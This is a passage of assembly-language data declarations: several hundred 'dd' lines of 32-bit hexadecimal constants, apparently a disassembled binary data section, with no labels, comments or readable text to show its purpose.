		dd 7C4AF4A0h, 2331BF9Fh, 4BFBA15h, 9A08298Bh, 860C5C65h
		dd 2AD11BAEh, 0FB23064Ah, 14BBA9CBh, 683E75F2h,	0ED66968Fh
		dd 5FAAA8E8h, 5CEE98D7h, 463A2534h, 3FB03EF6h, 66CFB266h
		dd 0B3BE2A5Dh, 19D8AF28h, 5750C0ACh, 915DB0B3h,	7A00EA60h
		dd 3E1543A6h, 5DA87DE3h, 0EF42D91Ch, 0B95C0A43h, 857CC034h
		dd 0D3C0E741h, 0CB955CAEh, 236C41Ah, 0C9B6CE75h, 0E23D180h
		dd 3EA56254h, 0E0E8C26h, 55716602h, 2AF27B7Ch, 74B4CAA7h
		dd 2B8F8631h, 0DD4D4247h, 0ADE4E198h, 12DA7497h, 0B44A60C1h
		dd 6457FF86h, 0B45D178h, 9C563D71h, 0A667D184h,	0E019C98Ah
		dd 0B0153EA8h, 2BE92B64h, 4198396Ah, 0A2C68131h, 0D31D478Eh
		dd 48C6D10Bh, 27D0DE11h, 803319FDh, 0D7F6213Ch,	7224701Ch
		dd 8B429E4Fh, 614C2985h, 0C9B2CAFh, 0FB782C96h,	0A838CB6Dh
		dd 499416DEh, 80648AC9h, 0DE0FFAA3h, 4187ACD2h,	2DD0BA76h
		dd 88F1F8EAh, 3A014531h, 6216D4E5h, 33F227Fh, 31182F90h
		dd 0E41B0236h, 3DC3D95h, 105D0B84h, 36E1E97h, 0E8EF6E84h
		dd 4E1C4D6h, 0F200A246h, 12EBE0CFh, 0B7D9DD31h,	59B1F87Fh
		dd 4C9249EEh, 9ECFAD18h, 4860B44Ah, 2734BA39h, 0DB41F95Ah
		dd 48B59F54h, 1973F55Fh, 4526F15Ah, 56921193h, 0FA18B4h
		dd 30F86873h, 0A42CBEE3h, 0CC5DFF8Ah, 6AE8B211h, 4BD5D001h
		dd 978F0CC0h, 2F18D282h, 59D52502h, 648C55AEh, 9C84380Dh
		dd 1F4FCB18h, 53199652h, 0E4487455h, 0F815655Eh, 9FAA80F8h
		dd 2FA27AA1h, 54122328h, 0E4C5005Dh, 12031D41h,	455907E4h
		dd 0FE2B8801h, 0B7B52AC1h, 2FA34630h, 0DC825F12h, 6A3C9FD9h
		dd 0B3F4BAB7h, 0A82900A4h, 0F3288E96h, 0BD574DF4h, 0F9E9A1C5h
		dd 97F57B6Ch, 6B5A749Bh, 5FEF94C7h, 8C7923FCh, 0DA1CCC6Eh
		dd 0C400D11Fh, 0F4FF2D1Fh, 0FB74E4A3h, 81878189h, 45D43E4Fh
		dd 171F459h, 4590D5E5h,	5562F6EBh, 9306001Ah, 0BF229316h
		dd 0AC258690h, 0C983D02Bh, 0BA7B7DA3h, 3469415Eh, 0F5320910h
		dd 20444224h, 4151088Dh, 919495A6h, 3441A308h, 4B0C832h
		dd 0AEBA120Eh, 0AA578498h, 524D4B59h, 0BC0CE1B1h, 131A1650h
		dd 89680E7Dh, 140AD794h, 6D7B9A33h, 29D4462Ah, 0CC7A0A91h
		dd 17CA549Ah, 0D66AA713h, 6882F617h, 0F40E5A2Bh, 0F180651Dh
		dd 0A03D7ADEh, 1E16AA80h, 0E062E2C3h, 4A3E5D11h, 771A68CAh
		dd 0DED1F9EDh, 0B24B4703h, 0FF47E4C9h, 66282BB5h, 8B913D72h
		dd 0BE3F3A8h, 2C5B466Ah, 28297D89h, 0B9940118h,	28446C8Ah
		dd 808D00F6h, 1E5D640h,	6EFBF280h, 492A919Ah, 672E2B20h
		dd 0FE80C153h, 4D063BB8h, 17983011h, 9669A671h,	3696711Ch
		dd 0C7FD87E9h, 72617E91h, 65118E14h, 3D157EAAh,	0AD9A4976h
		dd 5C15975Ch, 0A3A18ECh, 95F22898h, 75218909h, 4075917Fh
		dd 0F3A0D2EDh, 21323DE3h, 84343AF8h, 29FD5FECh,	0FAEEAE76h
		dd 697844EFh, 0E7CAFFCBh, 0FB7FE772h, 0E78C9238h, 7D0F5D76h
		dd 94507DF4h, 0A4AA12C4h, 7245540Ch, 82DBA044h,	50D39EF8h
		dd 0D3543F7Bh, 3E5EA768h, 974AE96Ah, 0EB872F48h, 9238426Dh
		dd 9D3DB3CAh, 0D414BFC5h, 74CDA929h, 0C8DB69DAh, 57051FBDh
		dd 8626C4DAh, 0CEE46F36h, 5AB3070h, 654B97E0h, 7F8088C4h
		dd 761D3534h, 45DD45B4h, 0DDA2F809h, 5DD3FD0h, 0B26F172h
		dd 2D4D5B5h, 64A08488h,	391E0C62h, 0BC4444EFh, 0FA08C862h
		dd 59171FB2h, 7703F7CBh, 62758FAh, 4755A57Fh, 56995629h
		dd 0F150A347h, 0F71747AAh, 0A40A328Ah, 0E454F185h, 5F2EE1Dh
		dd 2B69166Dh, 0C49D8EAEh, 0AAF80CF5h, 66A6583Eh, 5431DD2h
		dd 2813FF15h, 0DA2E1EB9h, 48B3178Eh, 0E7FB0164h, 48B6EE65h
		dd 87EE872Ah, 67C02ECAh, 0F834E256h, 447E354Dh,	0A9EBF90Dh
		dd 0FE6DB559h, 0D9AA5421h, 0EC90D97Ch, 0F04E0EF8h, 14878467h
		dd 0EFA5A441h, 934145A5h, 4EBA36Dh, 0F77EE342h,	85B44437h
		dd 0E5D3211h, 5D6672E9h, 0B448CDE4h, 85922475h,	49C95AEEh
		dd 0B109BFCFh, 0F66350C3h, 0A2AAA981h, 507B202Bh, 0A3BB2867h
		dd 444BB55Dh, 95145616h, 65100235h, 0F2C15119h,	0D175076Dh
		dd 0E7B5FE57h, 75EB08BEh, 65018D0Ch, 2866E71h, 858CA411h
		dd 0AAC1B892h, 0A856056Ah, 89A6C057h, 6015F973h, 8DA2A451h
		dd 10BAAD6Eh, 0E58CC469h, 3B0FC6DFh, 0A129766Eh, 0F449A8CBh
		dd 0BF1E3D81h, 21104A43h, 776DE8B5h, 22432935h,	42F4D4CCh
		dd 5575658h, 4CD44391h,	9F52B506h, 4267F5EFh, 4C2CD95h
		dd 894816FEh, 83BE6CFAh
		dd 9548C999h, 3CB81C77h, 0A895F30Bh, 7E89A88Fh,	46BCDEB7h
		dd 3A8A94EAh, 7EA4FC86h, 0DA91685Dh, 1C53C583h,	5E481058h
		dd 28A1B51Ch, 0EF15A2ABh, 526D744Fh, 0C0A1FA9Ah, 70FE8132h
		dd 0C06971A1h, 373DA068h, 30409218h, 29079EB8h,	64F6ABBDh
		dd 0F3652C31h, 0B2633B68h, 411C1036h, 86C9C385h, 46B063B7h
		dd 11ADA6CDh, 0F6DCA9D2h, 0B63A1985h, 0B7AECFA2h, 0FCBE8D83h
		dd 978F1CC1h, 2C495B72h, 516325Fh, 579F7FEEh, 6647B466h
		dd 2BCC7861h, 5EA4E77Eh, 0E469A3ABh, 8B082154h,	0F43847C1h
		dd 2B4B5615h, 2DFC9CBAh, 475EEA3Dh, 72D158B7h, 0A552E42Eh
		dd 2EC2B02Eh, 0BC6AB5D2h, 167BCF3Ah, 4B4601A9h,	0FB0AE66Ah
		dd 0E970D1CDh, 122DABD7h, 0B545FF3Bh, 4B6C106Dh, 3E348713h
		dd 0D83D5D6Eh, 34589803h, 868EE80Dh, 0BF9C4985h, 33135CAAh
		dd 520A18CCh, 0DBD5F8FEh, 4E8D7934h, 8D88596Fh,	318A312Fh
		dd 71B4A3FCh, 0C5CC15B5h, 9A4A5E74h, 0E16CE289h, 5FE1BA49h
		dd 50762665h, 0B5596514h, 0BF8EB623h, 0BFCD4DDDh, 0FCC333F8h
		dd 0A842729Ch, 6CEFAF2Ah, 0E077CE82h, 948F81C9h, 5948C177h
		dd 89F9F1ABh, 0D08AFD2Dh, 308CF442h, 1E671A4Ch,	9C085D12h
		dd 374584BBh, 75257949h, 48110207h, 98AFD3E9h, 0D72CD669h
		dd 68C6C525h, 16CAAA04h, 0A0721B28h, 0B28280A8h, 42C98C47h
		dd 60CB3E6Dh, 0BB4F414Eh, 0B4A44892h, 4B9A6381h, 0FA81BA9Ch
		dd 0E2CB880Bh, 4B292A3Eh, 95DAF2A2h, 81757247h,	0E92EF09Ah
		dd 7E58A3D8h, 1AB49585h, 59EA7BD7h, 4D2B7318h, 0EC03CBD5h
		dd 3BF27365h, 0F58AF572h, 8D5EEFD7h, 0AD4A5DACh, 0CC9DF3E8h
		dd 0F28CF148h, 316FCC6Eh, 71988CE9h, 0C3FE1A81h, 9BD3BC7Dh
		dd 7A9160Ah, 0E94A9A3Bh, 3723A345h, 0E79D4BBEh,	2BF4B05Ch
		dd 95D7D5CDh, 0B5464BD0h, 0D14409B4h, 0DE441EAEh, 0C912A281h
		dd 0C808882Ah, 4817FB9Ch, 5F2FDEB8h, 0CBA6F915h, 8A72700Eh
		dd 22A5D0CBh, 87F0BB19h, 0B41775F0h, 61D860CFh,	64E730AEh
		dd 0FCF151B0h, 8D7D01B9h, 22562AC4h, 55B95EC8h,	0D75288E6h
		dd 0BCD59BFBh, 0BD1C6725h, 566453DDh, 2D8AEC2Ch, 0C401FFA1h
		dd 89E33B10h, 689DE462h, 0BB0A22ACh, 0DF4516F9h, 2315FF52h
		dd 55E3565Dh, 0AAB30B51h, 0C7E0CB4h, 0D7EF7B46h, 5D5F2117h
		dd 12829390h, 62142310h, 2380B0F0h, 558EC1F0h, 0FA8849DCh
		dd 0C994D846h, 48A3147Fh, 21D1569Ch, 43B2AB7Ah,	6976EDDBh
		dd 43A17AD1h, 2FE31348h, 0F02BB515h, 35D06B34h,	0D21AE716h
		dd 0C22F6CC5h, 95FEFBB2h, 5CC773C7h, 57BC4F17h,	0A92A0A42h
		dd 1E90C60Bh, 0B093DF03h, 85074495h, 591DA007h,	0BB96DB97h
		dd 0EEBD3E63h, 8122807h, 915D13DFh, 0E82C4ABFh,	54D95047h
		dd 88664053h, 652CAD36h, 5155955h, 1A5FD191h, 894C3300h
		dd 8FE670ADh, 66A07456h, 0B1335420h, 2B46ACAAh,	0B8127F1Ch
		dd 616D16D1h, 7186D1DCh, 2C812089h, 3808CE02h, 1A79CCCBh
		dd 9AF0108Fh, 0E21A044Dh, 0AABEF9AFh, 0AEE7523Fh, 0EF60CE98h
		dd 8FA86B2Ah, 5186CABBh, 8D40DA25h, 0A237D278h,	2C0F4601h
		dd 0F2F0493Eh, 585E1FBh, 1D7EAA83h, 8A0ACB43h, 59007428h
		dd 345C69EBh, 0C6552C9Eh, 9498E651h, 0A027FE0Ah, 202221D8h
		dd 11815535h, 0CE775FC9h, 8FADCA6Fh, 0BF0AC12Fh, 2D44C088h
		dd 0B14121BCh, 8D8E0AB4h, 1C4EA31h, 0C491349Ah,	82AF8118h
		dd 0C03981C9h, 9426E5AAh, 7B37344Ch, 18464B1Dh,	553C8D26h
		dd 0C66901A5h, 31A8AD32h, 0AD52BD0Bh, 0D157569Fh, 7F810596h
		dd 0E6157ABEh, 0B60A055Dh, 974B1CEDh, 0C9DB84Eh, 24834862h
		dd 55FED690h, 2067DD03h, 9D974AB1h, 73868B46h, 0A8FA8E25h
		dd 4AEC1F61h, 0D3FF3D24h, 0D00E8B01h, 71CBC664h, 5F26E289h
		dd 1500CA15h, 9055314Bh, 4090565Fh, 0D024FCAFh,	26998C24h
		dd 7DCE511Ah, 0A24033E9h, 2ADE7E01h, 0BEB197AEh, 98C46471h
		dd 9089424Dh, 0CF086E33h, 0D67D0275h, 0AB97489Dh, 5614E880h
		dd 60EC44BAh, 0A4E88AA3h, 6BE20431h, 4F01CA70h,	5C80C2FDh
		dd 8D1C4190h, 0CA856240h, 955F5311h, 0EAA2A329h, 0CF5DB690h
		dd 3D1982D2h, 922B3996h, 722041F8h, 26944A3Dh, 882A908Ah
		dd 24EC0456h, 0ABA3FE4Dh, 0F3525FEEh, 491744FBh, 0C8C2289Ch
		dd 0D067D329h, 0F9183452h, 0CCB92CAAh, 0C00AE04Ch, 1917EABEh
		dd 7F40D056h, 47DC00B1h, 30D1765Fh, 17D355F1h, 0F2BAC053h
		dd 6EB34148h, 3F375966h, 8323D2Ch, 7479F873h, 0F4C5FA73h
		dd 0E209576Eh, 0F748534Dh, 974E68D6h, 0E128A06Fh, 53D8E049h
		dd 6175D144h, 4D37885Ah, 69114629h, 0A57A89C4h,	7432A30Ah
		dd 3ABA1762h, 0CB224F8Dh, 0E05A01ACh, 848B13E6h, 2BD17DDCh
		dd 0CEBEE31Ah, 0C0A6ADD0h, 4E5553B2h, 0B5FDD1DDh, 599A2EB0h
		dd 373736F9h, 8BAE7FE4h, 0EF8311C8h, 0C52952E2h, 0FAE762FEh
		dd 0AD65052Eh, 9967223Eh, 55D45A2Dh, 56B6C7F4h,	93891FC7h
		dd 404867D1h, 702330EAh, 49929175h, 0D342C527h,	0A2C0DD74h
		dd 0EED4CB55h, 517416AAh, 275F4CBAh, 61F13184h,	67D130D4h
		dd 9148FC22h, 58CA5652h, 4EA9830Ah, 0CF73CB2Bh,	6D19819Eh
		dd 24831867h, 3F31DDCCh, 622B2BFDh, 0DF23B6CCh,	500D4361h
		dd 0E341BA89h, 2CEB2BA7h, 0BF0B424Bh, 0BB59030Eh, 21CB242Eh
		dd 7DA40AA6h, 53FBA459h, 0E9A65988h, 1A48DD55h,	0DA806233h
		dd 2B8A5C95h, 5278ADAh,	0C7031AABh, 0BDADAE2Ch,	8B80C68h
		dd 24114D2Ch, 0A01FAE1Fh, 0D38B0F45h, 24D2D4Bh,	0D6F92AE1h
		dd 0B7122F6Bh, 0BA633E6h, 0D57FDB08h, 0AC7F7F40h, 0D1D908DCh
		dd 65D1157Bh, 6BAC8612h, 2B8E768Bh, 632C6C14h, 77813AA6h
		dd 0BE7AAF3h, 0E555C1B5h, 94D75B13h, 0B8EE39F0h, 22AA76ABh
		dd 8E20ACC3h, 5D6AB7FEh, 38B4F455h, 49686682h, 6ECCE7AEh
		dd 828EA28h, 4AAB2EE3h,	4120FE6Fh, 0B4CB84CBh, 424948B9h
		dd 7D2E229Ah, 0AEB6F545h, 83A8549Bh, 3D369F1Bh,	0E08F6C35h
		dd 0C308F42Eh, 75A64A95h, 0BD78E501h, 0F163B26Bh, 640DD501h
		dd 65F6E662h, 62BFE611h, 583C1C68h, 55ED2E34h, 9997C155h
		dd 0C43E598Fh, 0ACE1527Eh, 7A61923Bh, 0B05A7D94h, 0C8B07C85h
		dd 0D90B4E6Fh, 3DA34244h, 0B6C16F5Dh, 0BFA042B4h, 7F03727Ch
		dd 260C5781h, 0A6825D4Bh, 0EB8A67E7h, 8BD037D1h, 2A4FAFB2h
		dd 0BA85411Dh, 8B52905Ch, 6AC0BFD3h, 0E3313E3Fh, 5AB0FEA0h
		dd 5BBC3228h, 0DD6A2328h, 172C7CCh, 8B225054h, 0E4D1B57Eh
		dd 0F57F961Bh, 7C2482D2h, 0F8A494A7h, 10EC0CABh, 0AC2113E3h
		dd 3ECAA416h, 0CA414A41h, 95B7A7E2h, 765F2A84h,	3BAB71C6h
		dd 432F2AE9h, 0D0FD79BAh, 0FD1DEE31h, 0AFD87955h, 2AD56F2Bh
		dd 47D88A4Ah, 7C087643h, 8C678315h, 63BE37DEh, 0B662FEF5h
		dd 0FBF0F934h, 5D657A41h, 1073377Eh, 0E1D54ABEh, 838A0AB5h
		dd 0EC41931h, 3439C5D6h, 0FB6E73AFh, 0ED94D875h, 0D82AF62Fh
		dd 0ABEDB149h, 0E3EC43F1h, 293C9EC1h, 74B249F9h, 44066EEBh
		dd 0F5158B24h, 0F47C6737h, 2C57203Ch, 8AA289Ch,	9019AE86h
		dd 0E66D6D93h, 1B89B35Fh, 54074A77h, 89058BA4h,	61464402h
		dd 2721F228h, 84811831h, 1F8BC175h, 549BABBAh, 4AC18E17h
		dd 546DA819h, 8C8813B0h, 0B6561579h, 0E5942538h, 0FB55FF8h
		dd 0D74E18BEh, 19AF7F29h, 0BF5A63E8h, 4E55D795h, 2C714964h
		dd 0AAFB0ECAh, 575F567h, 50F6370Eh, 0D57A8911h,	12FAAE2Fh
		dd 64504401h, 0A1538F06h
		dd 3832B2Fh, 605E6ABDh,	4760B802h, 2C498C51h, 58C6C226h
		dd 0AADAE570h, 0B4497D75h, 0D5EF80D8h, 2B119573h, 86235A76h
		dd 909D6274h, 26B8D616h, 0BFE5F221h, 2088D557h,	2D1C1A2h
		dd 58061DFh, 4CFDFC5h, 528CFED1h, 74AFBEE4h, 67F2A636h
		dd 0C188A2F5h, 6BF11E60h, 27AAFC67h, 9EC79E47h,	0BB09BD4Bh
		dd 9120D119h, 46D800EFh, 773374BFh, 0A8C62B4h, 411ECAC4h
		dd 0DC21A4B7h, 8D72900Fh, 454EA131h, 0FC20FDCh,	0FA222239h
		dd 280469Fh, 3CAB9028h,	2486908h, 0FD2BB1FBh, 3CC18B9Eh
		dd 74ABBB14h, 0EF49E8B4h, 3018674h, 0FA99BD2Fh,	0AA88D55h
		dd 0C68168E0h, 905C21Fh, 44B9C6E3h, 0E065B2B1h,	0D1D26B92h
		dd 648CC021h, 0EB2C2311h, 2D0F8467h, 6650ABA6h,	8256C80Ch
		dd 317853ACh, 0B3737EE7h, 2302D3B2h, 0D2EDC85Fh, 96576DA5h
		dd 6827056Ch, 3A6BEBC0h, 0F6A89206h, 688EFCA1h,	227C814Ah
		dd 0CA40562Bh, 95730493h, 516635D3h, 0D35BD22Fh, 6ACFFCBDh
		dd 28D14D81h, 50CF68CEh, 147BFD90h, 0A2F14F11h,	0C24FA0C1h
		dd 4C30F8E5h, 6C974BE1h, 6435933Dh, 2CE3CCADh, 93F0B50Ch
		dd 803376B7h, 0DE03E828h, 76F8996Eh, 83EE295Bh,	75E7D2E5h
		dd 68AE931Eh, 6D4090DBh, 0A069E919h, 0D3526988h, 5558C04Fh
		dd 7433FF40h, 22C34655h, 0E0DF4056h, 47195A2h, 0A5977FD6h
		dd 0F6A17F87h, 0E543762Fh, 2F12DC7h, 0F93C3CE4h, 0A1A77FA6h
		dd 0A245A428h, 5B8E1156h, 0EB2A5FEEh, 0CACABE8h, 8D368CC9h
		dd 4032EFA2h, 50AA9BD9h, 0F33AAAB5h, 0C410D777h, 0C4A388AEh
		dd 0B7EA228Bh, 0BB9FECABh, 72EEC204h, 7493BCC3h, 6B2B7FE9h
		dd 8ACDB18Fh, 70002AEAh, 50F37474h, 66279975h, 0A91F1471h
		dd 0EF22E3C7h, 4A577665h, 0F865AFE7h, 32223ECAh, 0A9988C3Fh
		dd 0AB714319h, 8794D999h, 0DBB089F9h, 7A3EB541h, 0FC0DEE23h
		dd 80D47FF9h, 0F301116Ah, 0A85931A1h, 0F98CA592h, 26309240h
		dd 31202ABEh, 80341952h, 8CCA3E38h, 178461Fh, 6FDC3AF9h
		dd 73163EA1h, 16A001D8h, 8034C064h, 4C583C16h, 57D546F9h
		dd 68257A02h, 0D8C88FCCh, 676043F6h, 48336E40h,	99B57C1Ch
		dd 0A840B0F9h, 61024616h, 54C48AC4h, 0CBD71D86h, 0FC09E540h
		dd 0C5099E68h, 10D7C03Ah, 0C41607A3h, 2DF18720h, 36761817h
		dd 0E31B1C98h, 0FDD2769Bh, 67E938A2h, 403FE361h, 39014B71h
		dd 0C061882Fh, 2E8D93A8h, 60A33346h, 4C942D49h,	0AEB1A64h
		dd 31489A5h, 5C8A8A8Eh,	0C9A24532h, 0D3279164h,	204C2A46h
		dd 8CDF48A9h, 1E38A026h, 0CCCE2AB7h, 1E3265ADh,	0AE96A395h
		dd 5571F238h, 0D535679Dh, 0CFAE3918h, 0BF54B67Ah, 0F542620Bh
		dd 0CB30F367h, 0CCB634C4h, 0ADD4E2CCh, 0D7A7F33Ah, 0EB8DE9DEh
		dd 0DC599B0Ch, 63334E7Ah, 0F877A108h, 1FC2A88Ah, 21253890h
		dd 0A54C01DFh, 62E1EA81h, 0D02C2815h, 2657B68Eh, 0B5D401A4h
		dd 2D62C10Fh, 0FDA3BC16h, 885EE88Ah, 80654733h,	160533A9h
		dd 0D84F684Bh, 52136159h, 20152309h, 0BA8980CAh, 2ACBE6D1h
		dd 0E83E2BE6h, 5A086E8Ah, 61EC2BF2h, 288C9686h,	34510A89h
		dd 768091A8h, 4C6305A4h, 0E461D88Ah, 58A02909h,	847291FBh
		dd 7B0D2790h, 3710E932h, 2E1C2280h, 0F7514686h,	91D63A17h
		dd 11C90545h, 573FE67h,	803C1212h, 7DD711A3h, 3E0CD16Eh
		dd 0A9C21BD5h, 0E4476F8Fh, 0EA2430ADh, 794C1FFCh, 3A990BC8h
		dd 0FFE26B9Fh, 0FA2AC5CDh, 0D5C2FC2Ah, 0B6867218h, 0E11E88BDh
		dd 2FE922A6h, 21109328h, 0CE1F584h, 0ED5B4DB5h,	0C23DEC4Bh
		dd 4DCB454Ch, 0D147375Ch, 0FAEBAC15h, 8C250434h, 0C64CA703h
		dd 0A2634091h, 0A5205B10h, 5F11A2EAh, 0A97BC4CBh, 0D853E8E5h
		dd 6A358946h, 18AD4FA9h, 72C94B83h, 49D20145h, 4F2B9C72h
		dd 0D1E557F0h, 42D48C4Fh, 0CA5EF473h, 0E2E4CCE3h, 13B1D40Ch
		dd 9941268Dh, 88E32E7Fh, 0C2B40FA6h, 65E8F348h,	0C19DA168h
		dd 2B5EE671h, 0C6F95897h, 0DF138A90h, 6D1C7CE8h, 0E9CBCFC6h
		dd 2DFBA729h, 0F565E8F8h, 0C0CCDF79h, 0B407618h, 40F65D7Eh
		dd 23FF6B39h, 11553E27h, 18529129h, 7A46F03Dh, 7C2955DEh
		dd 86D163E5h, 0A4D130FDh, 9B45D53Ah, 422F53C1h,	2D45A1F8h
		dd 3374844Bh, 0BA2AA3A6h, 31A57C0Bh, 1A6E617h, 5E257BDEh
		dd 84D92954h, 185001B9h, 0CDAEDA01h, 80D4B41Ah,	98BEC0EBh
		dd 83CAABD1h, 53444036h, 0FDAC406h, 2673ABB9h, 52E00FAAh
		dd 5580CAEEh, 0DE80132Ah, 2573D81h, 2059D3EAh, 4C8FD8EBh
		dd 0DEBECD2Ah, 50608D02h, 2D1B52FFh, 0D13E9554h, 0DA390CDAh
		dd 5771DA4Ch, 0B2887D50h, 0E6D84135h, 0DA3C5D1h, 7B1A0FA8h
		dd 0FC32B664h, 68C409CFh, 0E99430E9h, 4B6B281Eh, 3B55459Ah
		dd 36E2C23Dh, 192332BAh, 8C5BB59h, 1F72C77Fh, 42565291h
		dd 7937F316h, 73242F9Bh, 26724553h, 7C15FA66h, 0F913999Bh
		dd 2A2BDCE7h, 49E4E9E3h, 0E72E4A3Eh, 0BC85C336h, 3416B17Fh
		dd 0FC193E90h, 23D2F12Dh, 95693E8Ah, 8A2C704h, 0CDAA8E99h
		dd 0A4D66D08h, 9FCCCD2Ah, 0E4851A8Ah, 0F479D31Ah, 2F05CB96h
		dd 0A921D4FCh, 1EEAB05h, 55F33877h, 0DB3B9B11h,	0BD4D1B98h
		dd 0AAE388F5h, 0A9F92520h, 0CB04638Bh, 0FF48CAF0h, 0BF810C21h
		dd 28BC28D3h, 34C06616h, 7569AE2Fh, 0A53B4530h,	2C06B402h
		dd 5BA1CF6Ah, 2A716226h, 54689A57h, 0A8AC5C23h,	441347A9h
		dd 0C054CE4Eh, 0CC4E8CA2h, 7A4AD57Ch, 0DB0CDB84h, 8CEDDCCEh
		dd 0AEA1D2BCh, 0BD83A463h, 869523A3h, 69F985Ch,	0FCE4E078h
		dd 328E403Ah, 0C47A0702h, 0AAEDEBD9h, 72395E9Ch, 0F6667737h
		dd 0A9A6C8F1h, 32236B26h, 4FB1FEC8h, 7DE6FD1Fh,	52508F4h
		dd 98D337C5h, 2F4CDCDh,	8D79AEAFh, 2895F977h, 9806DA0Ch
		dd 940AE334h, 0D1605744h, 9BB500AAh, 9A9D38F7h,	1961A030h
		dd 8A9267F4h, 0D8392C82h, 0AB80FC32h, 970228C1h, 0BFC41B66h
		dd 0A7F7DD3Dh, 1278F288h, 0CD2A481h, 0E4938FD3h, 8CC9E6EAh
		dd 5DE2348Eh, 3D68D105h, 0F5497599h, 0A6C68312h, 0FE215FCDh
		dd 0DE866915h, 55DE5455h, 72D7C073h, 9C5586F9h,	82661577h
		dd 9716999Eh, 743D9529h, 0E03CB451h, 68EAB6CFh,	0F633C149h
		dd 0DB36657h, 2822F9CAh, 755028E4h, 0CA826034h,	0CCA736Ch
		dd 0E6B60BDBh, 6A18A306h, 957BDA9Fh, 6719B9F8h,	188F5E9Fh
		dd 50FC553h, 0CA8F4AADh, 0C363B99Fh, 45F54AC0h,	0F21FB2BCh
		dd 0AF42B18Fh, 1A1484E1h, 750AA471h, 0CE9404BCh, 1F7C45D7h
		dd 2A7FC469h, 4B94EEE1h, 1F9DD045h, 19C0510h, 1177D23Ch
		dd 6571EF5h, 5EC0DB9Ch,	81F9FD05h, 0D1826811h, 578DF36h
		dd 0A8C247FDh, 0A0C94B20h, 0A79F2EFFh, 87304B52h, 1085CA74h
		dd 22B6832h, 0EC2C407Ch, 0B8084297h, 345D6AF6h,	195DD445h
		dd 0BC1E8EE3h, 0A144A2EAh, 0A80832BAh, 57F3E328h, 6485F206h
		dd 0C453D74Fh, 52086229h, 0D7ECC6EEh, 8E912880h, 0D63DCC32h
		dd 62E147F8h, 0D8099546h, 0A7D4FF4Fh, 10719B0Ah, 3BD7C393h
		dd 0F7ECDFBFh, 47B71A54h, 0BF28C3A2h, 0B8BD1330h, 23F62A29h
		dd 6D797CD0h, 0AF1945DFh, 0C6534C37h, 2453C460h, 0AD5D0D98h
		dd 4F7D0D6Bh, 9420A980h, 66D37A45h, 420C5EFEh, 0E0040089h
		dd 61C91530h, 57797D46h, 4CC20766h, 80A2BED7h, 4E2A698Dh
		dd 0D0ABCE83h, 0A7D3BE08h, 99C4BAB6h, 2990F4AEh, 4E392D43h
		dd 0ABEECC2Ah, 8193FDF4h, 8A6316B4h, 154486D0h,	0F118429Bh
		dd 0E473847Dh, 9F845B42h
		dd 603430B2h, 19632D29h, 285AB6A0h, 0F4853D3Fh,	0DA8BD173h
		dd 2DC8B11Ah, 42DEDFC4h, 45EFB9FDh, 145C8D70h, 0C91AF217h
		dd 8D082A85h, 0AA9BE689h, 745BFA83h, 6B5AE8F9h,	47949839h
		dd 22B6D68h, 0A1528AEBh, 0D3844716h, 0BB93889Fh, 0E259D23Ah
		dd 95C238FCh, 29603388h, 0DEF1E935h, 0C47A445Dh, 4384A61h
		dd 92B4CDC7h, 0D871131Ah, 6F0769E9h, 0EFA35A9Fh, 0AA1E8B22h
		dd 9CA6FF8Fh, 0E8257616h, 8E02E32Eh, 11EA3BADh,	4F6E2541h
		dd 5441C9F5h, 0D462A402h, 0EC799BE5h, 1050C3Eh,	690C813Bh
		dd 0C49CB02h, 0B6350C96h, 0F812824Dh, 13B7BA60h, 0E3E0BC48h
		dd 96CE7D53h, 687377ADh, 0E9F82217h, 881000h, 6057702Bh
		dd 482C1AB1h, 1286C1F4h, 8CC2FA4Dh, 0E433DFD1h,	496DB03Ah
		dd 0E205308Eh, 37FC134Eh, 0E1E3B6D0h, 79B7379Fh, 0ADB22D82h
		dd 0AAEC67C0h, 0BE45EBA4h, 5DA24BA5h, 19754EA6h, 48BF97B9h
		dd 0E031E9D7h, 0D11F0D3Ch, 94F3E2A6h, 0FD4D23D4h, 0B46748C4h
		dd 75C4524Ch, 29180105h, 1A5FFEA2h, 512B9B50h, 3A33FAFAh
		dd 43C0E5DCh, 0B2228AB1h, 6CD174BAh, 1F0A3B32h,	472E2F92h
		dd 62857988h, 6B39B197h, 3CF832EBh, 0F0EB2D81h,	0C068B451h
		dd 0E0116FA2h, 0F0FA98h, 338A2C01h, 0F4802A4Eh,	0D3FBB45h
		dd 0D286E220h, 0FDB7B6EAh, 310615F1h, 6EAD5E9Eh, 713EB3FBh
		dd 0BDCD2C0Ah, 7FC59D8Eh, 3D9412Ch, 726896A0h, 33E2767Ch
		dd 20D6C2BEh, 9824D246h, 34F67CEh, 7C33A448h, 193FEC0Bh
		dd 493368E0h, 0C61FB122h, 0B4D189DEh, 4C0CE3A8h, 0C9C714F4h
		dd 6172D5ECh, 62297E80h, 0EE3A07F9h, 114FE463h,	0F1D48B4Fh
		dd 8A77030Fh, 0A9CB5A50h, 4A8011E3h, 0CE221A8Dh, 0CE483130h
		dd 0ED577B00h, 9A018CA1h, 18E5F897h, 339F90h, 771188DEh
		dd 0D1089E23h, 3FF4861Ah, 0D0D4CBADh, 8A3E177h,	3BF7591Bh
		dd 91A0974Bh, 9DA83386h, 0F9965EBAh, 7975ADA3h,	89027E3Dh
		dd 57D24886h, 86595C21h, 598A4DEFh, 0F045F999h,	1F171291h
		dd 52269571h, 970F5404h, 5DE9AFB0h, 0E20249B5h,	95C943D7h
		dd 519C5774h, 0F4C7A415h, 48F893ABh, 0C33733Fh,	0EC4EAAE1h
		dd 4BAE19F6h, 0BEC28312h, 0BB59CBh, 791168E0h, 0FE2CDFACh
		dd 0B2EB66Bh, 693218DAh, 0E7AF8080h, 0EC8880C5h, 7130C2BBh
		dd 519F8261h, 0FB4E95A2h, 0E6FAA0AEh, 9768BCAAh, 0ECBA8C1Eh
		dd 989CBB42h, 62C0F19Ah, 470028F5h, 0C0736D97h,	0F9BFAC60h
		dd 849D3F4Fh, 2E8AF376h, 0A4A1D0DBh, 2425EC74h,	0A839FDECh
		dd 867D5ED6h, 0AED3D68Dh, 65285F42h, 7A56AAEEh,	0AF66C4D8h
		dd 0D26414AEh, 60324BFAh, 61A51A8h, 9EAF5F15h, 0BD5D3120h
		dd 0F744260Ah, 7E1BD705h, 455F1715h, 7D884613h,	8B4C86E5h
		dd 0DB582D62h, 9F4C308h, 96CABAF0h, 58B522BAh, 314557B4h
		dd 46EED5A8h, 0E461195Fh, 0EA68F506h, 0F73310C3h, 9C6CA185h
		dd 22689AD1h, 835266FEh, 2B2F544Ah, 0B3D806DDh,	7322B9E2h
